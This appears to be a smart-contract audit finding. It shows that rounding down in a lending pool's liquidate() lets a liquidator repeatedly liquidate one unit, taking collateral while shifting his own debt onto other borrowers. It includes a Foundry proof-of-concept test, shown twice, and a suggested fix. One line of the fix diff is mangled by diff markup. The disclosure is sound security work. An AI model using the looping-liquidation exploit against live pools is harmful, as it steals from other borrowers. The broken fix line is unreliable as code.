A liquidator can gain not only collateral, but also can reduce his own debt!
A liquidator can gain not only collateral, but also can reduce his own debt. This is achieved by taking advantage of the following vulnerability of the liquidate(): it has a rounding down precision error and when one calls liquidate(Bob, 1), it is possible that the total debt is reduced by 1, but the debt share is 0, and thus Bob's debt shares will not be reduced. In this way, the liquidator can shift part of debt to the remaining borrowers while getting the collateral of the liquidation.\\nIn summary, the liquidator will be able to liquidate a debtor, grab proportionately the collateral, and in addition, reduce his own debt by shifting some of his debt to the other borrowers.\\nBelow, I explain the vulnerability and then show the code POC to demonstate how a liquidator can gain collateral as well as reduce his own debt!\\nThe `liquidate()` function calls `tokenToShares()` at L587 to calculate the number of debt shares for the input `amount`. Note it uses a rounding-down.\\nDue to rounding down, it is possible that while `amount !=0`, the returned number of debt shares could be zero!\\nIn the following code POC, we show that Bob (the test account) and Alice (address(1)) both borrow 1000 loan tokens, and after one year, each of them owe 1200 loan tokens. Bob liquidates Alice's debt with 200 loan tokens. Bob gets the 200 collateral tokens (proportionately). In addition, Bob reduces his own debt from 1200 to 1100!\\nTo run this test, one needs to change `pool.getDebtOf()` as a public function.\\n```\\nfunction testLiquidateSteal() external {\\n        uint loanTokenAmount = 12000;\\n        uint borrowAmount = 1000;\\n        uint collateralAmountA = 10000;\\n        uint collateralAmountB = 1400;\\n        MockERC20 collateralToken = new MockERC20(collateralAmountA+collateralAmountB, 18);\\n        MockERC20 loanToken = new MockERC20(loanTokenAmount, 18);\\n        Pool pool = factory.deploySurgePool(IERC20(address(collateralToken)), IERC20(address(loanToken)), 0.8e18, 0.5e18, 1e15, 1e15, 0.1e18, 0.4e18, 0.6e18);\\n        loanToken.approve(address(pool), loanTokenAmount);\\n        pool.deposit(loanTokenAmount);\\n\\n        // Alice borrows 1000 \\n        collateralToken.transfer(address(1), collateralAmountB);\\n        vm.prank(address(1));\\n        collateralToken.approve(address(pool), collateralAmountB);\\n        vm.prank(address(1));\\n        pool.addCollateral(address(1), collateralAmountB);\\n        vm.prank(address(1));\\n        pool.borrow(borrowAmount);\\n\\n        // Bob borrows 1000 too \\n        collateralToken.approve(address(pool), collateralAmountA);\\n        pool.addCollateral(address(this), collateralAmountA);\\n        pool.borrow(borrowAmount);\\n\\n       // Bob's debt becomes 1200\\n       vm.warp(block.timestamp + 365 days);\\n       pool.withdraw(0);\\n       uint mydebt = pool.getDebtOf(pool.debtSharesBalanceOf(address(this)), pool.debtSharesSupply(), pool.lastTotalDebt());\\n       assertEq(mydebt, 1200);    \\n\\n      // Alice's debt becomes 1200\\n       uint address1Debt = pool.getDebtOf(pool.debtSharesBalanceOf(address(1)), pool.debtSharesSupply(), pool.lastTotalDebt());\\n       assertEq(address1Debt, 1200);  \\n       assertEq(pool.lastTotalDebt(), 2399);  \\n\\n       uint myCollateralBeforeLiquidate = collateralToken.balanceOf(address(this));\\n\\n       // liquidate 200 for Alice\\n       loanToken.approve(address(pool), 200);\\n       for(int i; i<200; i++)\\n            pool.liquidate(address(1), 1);\\n\\n      // Alice's debt shares are NOT reduced, now Bob's debt is reduced to 1100\\n       uint debtShares = pool.debtSharesBalanceOf(address(1));\\n       assertEq(debtShares, 1000);\\n       assertEq(pool.lastTotalDebt(), 2199);\\n       address1Debt = pool.getDebtOf(pool.debtSharesBalanceOf(address(1)), pool.debtSharesSupply(), pool.lastTotalDebt());\\n       assertEq(address1Debt, 1100); \\n       mydebt = pool.getDebtOf(pool.debtSharesBalanceOf(address(this)), pool.debtSharesSupply(), pool.lastTotalDebt());\\n       assertEq(mydebt, 1100);    \\n\\n       // Bob gains the collateral as well proportionately \\n       uint myCollateralAfterLiquidate = collateralToken.balanceOf(address(this));\\n       assertEq(myCollateralAfterLiquidate-myCollateralBeforeLiquidate, 200);\\n    }\\n```\\n
We need to double check this edge case and now allowing the liquidate() to proceed when the # of debt shares is Zero.\\n```\\n function liquidate(address borrower, uint amount) external {\\n        uint _loanTokenBalance = LOAN_TOKEN.balanceOf(address(this));\\n        (address _feeRecipient, uint _feeMantissa) = FACTORY.getFee();\\n        (  \\n            uint _currentTotalSupply,\\n            uint _accruedFeeShares,\\n            uint _currentCollateralRatioMantissa,\\n            uint _currentTotalDebt\\n        ) = getCurrentState(\\n            _loanTokenBalance,\\n            _feeMantissa,\\n            lastCollateralRatioMantissa,\\n            totalSupply,\\n            lastAccrueInterestTime,\\n            lastTotalDebt\\n        );\\n\\n        uint collateralBalance = collateralBalanceOf[borrower];\\n        uint _debtSharesSupply = debtSharesSupply;\\n        uint userDebt = getDebtOf(debtSharesBalanceOf[borrower], _debtSharesSupply, _currentTotalDebt);\\n        uint userCollateralRatioMantissa = userDebt * 1e18 / collateralBalance;\\n        require(userCollateralRatioMantissa > _currentCollateralRatioMantissa, "Pool: borrower not liquidatable");\\n\\n        address _borrower = borrower; // avoid stack too deep\\n        uint _amount = amount; // avoid stack too deep\\n        uint _shares;\\n        uint collateralReward;\\n        if(_amount == type(uint).max || _amount == userDebt) {\\n            collateralReward = collateralBalance;\\n            _shares = debtSharesBalanceOf[_borrower];\\n            _amount = userDebt;\\n        } else {\\n            uint userInvertedCollateralRatioMantissa = collateralBalance * 1e18 / userDebt;\\n            collateralReward = _amount * userInvertedCollateralRatioMantissa / 1e18; // rounds down\\n            _shares = tokenToShares(_amount, _currentTotalDebt, _debtSharesSupply, false);\\n        }\\n    \\n// Add the line below\\n     if(_shares == 0) revert ZeroShareLiquidateNotAllowed();\\n\\n        _currentTotalDebt -= _amount;\\n\\n        // commit current state\\n        debtSharesBalanceOf[_borrower] -= _shares;\\n        debtSharesSupply = _debtSharesSupply - _shares;\\n        collateralBalanceOf[_borrower] = collateralBalance - collateralReward;\\n        totalSupply = _currentTotalSupply;\\n        lastTotalDebt = _currentTotalDebt;\\n        lastAccrueInterestTime = block.timestamp;\\n        lastCollateralRatioMantissa = _currentCollateralRatioMantissa;\\n        emit Liquidate(_borrower, _amount, collateralReward);\\n        if(_accruedFeeShares > 0) {\\n            address __feeRecipient = _feeRecipient; // avoid stack too deep\\n            balanceOf[__feeRecipient] // Add the line below\\n= _accruedFeeShares;\\n            emit Transfer(address(0), __feeRecipient, _accruedFeeShares);\\n        }\\n\\n        // interactions\\n        safeTransferFrom(LOAN_TOKEN, msg.sender, address(this), _amount);\\n        safeTransfer(COLLATERAL_TOKEN, msg.sender, collateralReward);\\n    }\\n```\\n
A liquidator can gain not only collateral, but also can reduce his own debt. Thus, he effectively steals funding from the pool by off-shifting his debt to the remaining borrowers.
```\\nfunction testLiquidateSteal() external {\\n        uint loanTokenAmount = 12000;\\n        uint borrowAmount = 1000;\\n        uint collateralAmountA = 10000;\\n        uint collateralAmountB = 1400;\\n        MockERC20 collateralToken = new MockERC20(collateralAmountA+collateralAmountB, 18);\\n        MockERC20 loanToken = new MockERC20(loanTokenAmount, 18);\\n        Pool pool = factory.deploySurgePool(IERC20(address(collateralToken)), IERC20(address(loanToken)), 0.8e18, 0.5e18, 1e15, 1e15, 0.1e18, 0.4e18, 0.6e18);\\n        loanToken.approve(address(pool), loanTokenAmount);\\n        pool.deposit(loanTokenAmount);\\n\\n        // Alice borrows 1000 \\n        collateralToken.transfer(address(1), collateralAmountB);\\n        vm.prank(address(1));\\n        collateralToken.approve(address(pool), collateralAmountB);\\n        vm.prank(address(1));\\n        pool.addCollateral(address(1), collateralAmountB);\\n        vm.prank(address(1));\\n        pool.borrow(borrowAmount);\\n\\n        // Bob borrows 1000 too \\n        collateralToken.approve(address(pool), collateralAmountA);\\n        pool.addCollateral(address(this), collateralAmountA);\\n        pool.borrow(borrowAmount);\\n\\n       // Bob's debt becomes 1200\\n       vm.warp(block.timestamp + 365 days);\\n       pool.withdraw(0);\\n       uint mydebt = pool.getDebtOf(pool.debtSharesBalanceOf(address(this)), pool.debtSharesSupply(), pool.lastTotalDebt());\\n       assertEq(mydebt, 1200);    \\n\\n      // Alice's debt becomes 1200\\n       uint address1Debt = pool.getDebtOf(pool.debtSharesBalanceOf(address(1)), pool.debtSharesSupply(), pool.lastTotalDebt());\\n       assertEq(address1Debt, 1200);  \\n       assertEq(pool.lastTotalDebt(), 2399);  \\n\\n       uint myCollateralBeforeLiquidate = collateralToken.balanceOf(address(this));\\n\\n       // liquidate 200 for Alice\\n       loanToken.approve(address(pool), 200);\\n       for(int i; i<200; i++)\\n            pool.liquidate(address(1), 1);\\n\\n      // Alice's debt shares are NOT reduced, now Bob's debt is reduced to 1100\\n       uint debtShares = pool.debtSharesBalanceOf(address(1));\\n       assertEq(debtShares, 1000);\\n       assertEq(pool.lastTotalDebt(), 2199);\\n       address1Debt = pool.getDebtOf(pool.debtSharesBalanceOf(address(1)), pool.debtSharesSupply(), pool.lastTotalDebt());\\n       assertEq(address1Debt, 1100); \\n       mydebt = pool.getDebtOf(pool.debtSharesBalanceOf(address(this)), pool.debtSharesSupply(), pool.lastTotalDebt());\\n       assertEq(mydebt, 1100);    \\n\\n       // Bob gains the collateral as well proportionately \\n       uint myCollateralAfterLiquidate = collateralToken.balanceOf(address(this));\\n       assertEq(myCollateralAfterLiquidate-myCollateralBeforeLiquidate, 200);\\n    }\\n```\\n